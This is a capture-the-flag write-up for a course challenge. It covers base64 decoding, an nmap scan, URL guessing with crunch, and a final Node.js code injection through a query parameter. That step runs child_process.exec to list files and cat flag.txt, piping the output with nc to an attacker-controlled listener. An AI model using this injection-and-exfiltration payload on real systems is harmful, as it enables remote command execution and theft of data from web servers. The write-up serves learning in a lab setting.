

CS561 CTF Challenge

1. Description

This CTF basically composes of three parts which are designed to test the players Nmap, Decoding, Crunch, Code Injection and a little bit of javascript skills. The player would have to interact with a web server to navigate through to the next steps of the challenge.

2. Solution

When the user first goes to the default page, he views the webpage which looks something like this.

Decode this to Proceed ...

```
SGkKCkNvbmdyYXRzIG9uIHN1Y2Nlc3NmdWxseSB1bnJhdmVsbGluZyB0aGlzIHF1ZXN0aW9uLgpBIHdhcm0gd2VsY29tZSB0byB0aGlzIENURiBjaGFsbGVuZ2UuCkkgZ25vdyB5b3UgYXJlIGluIGEGAHVycnkgdG8gZ2V0IHRoZSBmbGFnlIAKSXRzIGEgZmV3IHN0ZXBzIGF3YXkgb25seS4gSSBwcm9taXNlIDpwClRoZXJlIGFyZSBtdWx0aXBsZSBzZXJ2ZXJzIHJ1bm5pbmcgaGVyZS4gRmluZCB0aGUgcHJvcGVyIHN1cnZlciB3aXR0IGl0cyBwb3J0IHRvIGdvIHRvIHRoZSBuZXB0IHN0ZXAuCg==
```

This is in base64 format which the user has to decode. Post decoding the player will get the decoded output as -

The screenshot shows a web application interface for decoding Base64. It consists of three main panels:

- Left Panel (VIEW):** Contains a message: "Hi
Congrats on successfully unravelling this question. A warm welcome to this CTF challenge.
I know you are in a hurry to get the flag.
Its a few steps away only. I promise :p
There are multiple servers running here. Find the proper server with its port to go to the next step."
- Center Panel (ENCODE DECODE):** Features a dropdown menu set to "Base64" and a status indicator "Decoded 280 bytes".
- Right Panel (VIEW):** Displays the decoded Base64 string: "SGkKCkNvbmdyYXRzIG9uIHN1Y2Nlc3NmdWxseSB1bnJhdmVsbGluZyB0aGlzIHF1ZXN0aW9uLgpBIHdhcm0gd2VsY29tZSB0byB0aGlzIENURiBjaGFsbGVuZ2UuCkkgZ25vdyB5b3UgYXJlIGluIGEGAHVycnkgdG8gZ2V0IHRoZSBmbGFnlIAKSXRzIGEgZmV3IHN0ZXBzIGF3YXkgb25seS4gSSBwcm9taXNlIDpwClRoZXJlIGFyZSBtdWx0aXBsZSBzZXJ2ZXJzIHJ1bm5pbmcgaGVyZS4gRmluZCB0aGUgcHJvcGVyIHN1cnZlciB3aXR0IGl0cyBwb3J0IHRvIGdvIHRvIHRoZSBuZXB0IHN0ZXAuCg=="

The player will be informed that he has to try out different ports to identify the valid port for the next step. The player can use nmap here to identify all the open NodeJS ports and can try them out to figure out the valid server.

```
(base) saivenkatesh@Sais-MacBook-Air CTF % nmap -sV local
Starting Nmap 7.93 ( https://nmap.org ) at 2023-04-25 13:
Nmap scan report for localhost (127.0.0.1)
Host is up (0.000043s latency).
Other addresses for localhost (not scanned): ::1
Not shown: 975 closed tcp ports (conn-refused)
PORT      STATE SERVICE      VERSION
80/tcp    open  http         Node.js Express framework
631/tcp   open  ipp          CUPS 2.3
5432/tcp  open  postgresql   PostgreSQL DB 9.6.0 or later
9000/tcp  open  tcpwrapped
9001/tcp  open  tcpwrapped
9002/tcp  open  tcpwrapped
9003/tcp  open  tcpwrapped
9009/tcp  open  tcpwrapped
9010/tcp  open  tcpwrapped
9011/tcp  open  tcpwrapped
9040/tcp  open  tcpwrapped
9050/tcp  open  http         Node.js Express framework
9071/tcp  open  tcpwrapped
9080/tcp  open  http         Node.js Express framework
9081/tcp  open  tcpwrapped
9090/tcp  open  http         Node.js Express framework
9091/tcp  open  tcpwrapped
9099/tcp  open  tcpwrapped
9100/tcp  open  jetdirect?
9101/tcp  open  jetdirect?
9102/tcp  open  jetdirect?
9103/tcp  open  jetdirect?
9110/tcp  open  http         Node.js Express framework
9111/tcp  open  tcpwrapped
9200/tcp  open  tcpwrapped
```

In the second step the player has to figure out the proper navigation link. Its basically the combination of two words labuser and another word. The second word can be viewed if the player does control + A as the word is white in colour. (Also in the hint I mentioned its in the right) After finding the two words, its a permutation of the two words. 'userlabftc' (labuser - userlab and ctf - ftc). The player can use crunch to generate the combinations.

Second Step

Congratulations on successfully reaching the designated port. Now, your next task is to discover the appropriate website navigation link that will lead you to the next clue. Although it might seem tedious to try every navigation link, keep in mind that the link you're looking for is a concatenation of two words' permutation of characters. For instance, if the two words were "use" and "this," then a valid link would be "sueisth." Allow me to offer a hint: the first word is the username that we use to log in to our laboratory. As for the second word, it has already been given right to you, so please use that. Remember, it's crucial to take one step at a time to achieve your objective, or in this case, two steps. Good luck!

Second Step

Congratulations on successfully reaching the designated port. Now, your next task is to discover the appropriate website navigation link that will lead you to the next clue. Although it might seem tedious to try every navigation link, keep in mind that the link you're looking for is a concatenation of two words' permutation of characters. For instance, if the two words were "use" and "this," then a valid link would be "sueisth." Allow me to offer a hint: the first word is the username that we use to log in to our laboratory. As for the second word, it has already been given right to you, so please use that. Remember, it's crucial to take one step at a time to achieve your objective, or in this case, two steps. Good luck!

The final step is to do code injection to list the files and retrieve the flag.txt file.

Final Step

Congrats on coming to the final step.

This url which you found has one interesting functionality.

You can ask it anything and it will give you an answer 'provided it knows'. eg = ?q=whatsmyname

Retrieve the flag after asking the correct questions.

The way we can accomplish this is to open a port and listen to that. We then inject code such that it sends the results of certain shell commands to our host. Note: I tested this in my subnet and we need to do this in the same subnet as the running docker machine in order for this to work. Or at least both the hosts should be accessible publicly.

Code Injection can be done in two steps. The first step is to pass this shell code as query parameter which is just a 'ls' command.

```
require('child_process').exec('ls | nc 192.168.0.22 89',(error, stdout, stderr) => {console.log(stdout)});
```

localhost:9110/userlabftc?q=require('child_process').exec('ls | nc 192.168.0.22 89',(error, stdout, stderr) => {console.log(stdout)});

```
(base) saivenkatesh@Sais-MacBook-Air CTF % ncat -lvp 89
Ncat: Version 7.93 ( https://nmap.org/ncat )
Ncat: Listening on :::89
Ncat: Listening on 0.0.0.0:89
Ncat: Connection from 192.168.0.22.
Ncat: Connection from 192.168.0.22:58290.
check.js
flag.txt
node_modules
package-lock.json
package.json
server.js
views
```

The second step is to read the flag.txt file to retrieve the flag.

```
require('child_process').exec('cat flag.txt | nc 192.168.0.22 89',  
(error, stdout, stderr) => {console.log(stdout);});
```

```
localhost:9110/userlabftc?q=require('child_process').exec('cat flag.txt | nc 192.168.0.22 89',(error, stdout, stderr) => {console.log(stdout);});
```

```
[(base) saivenkatesh@Sais-MacBook-Air CTF % ncat -lvp 89  
Ncat: Version 7.93 ( https://nmap.org/ncat )  
Ncat: Listening on :::89  
Ncat: Listening on 0.0.0.0:89  
Ncat: Connection from 192.168.0.22.  
Ncat: Connection from 192.168.0.22:58300.  
CTF_SDaT{conG+--+Rats}%  
(base) saivenkatesh@Sais-MacBook-Air CTF %
```

The flag has been retrieved successfully.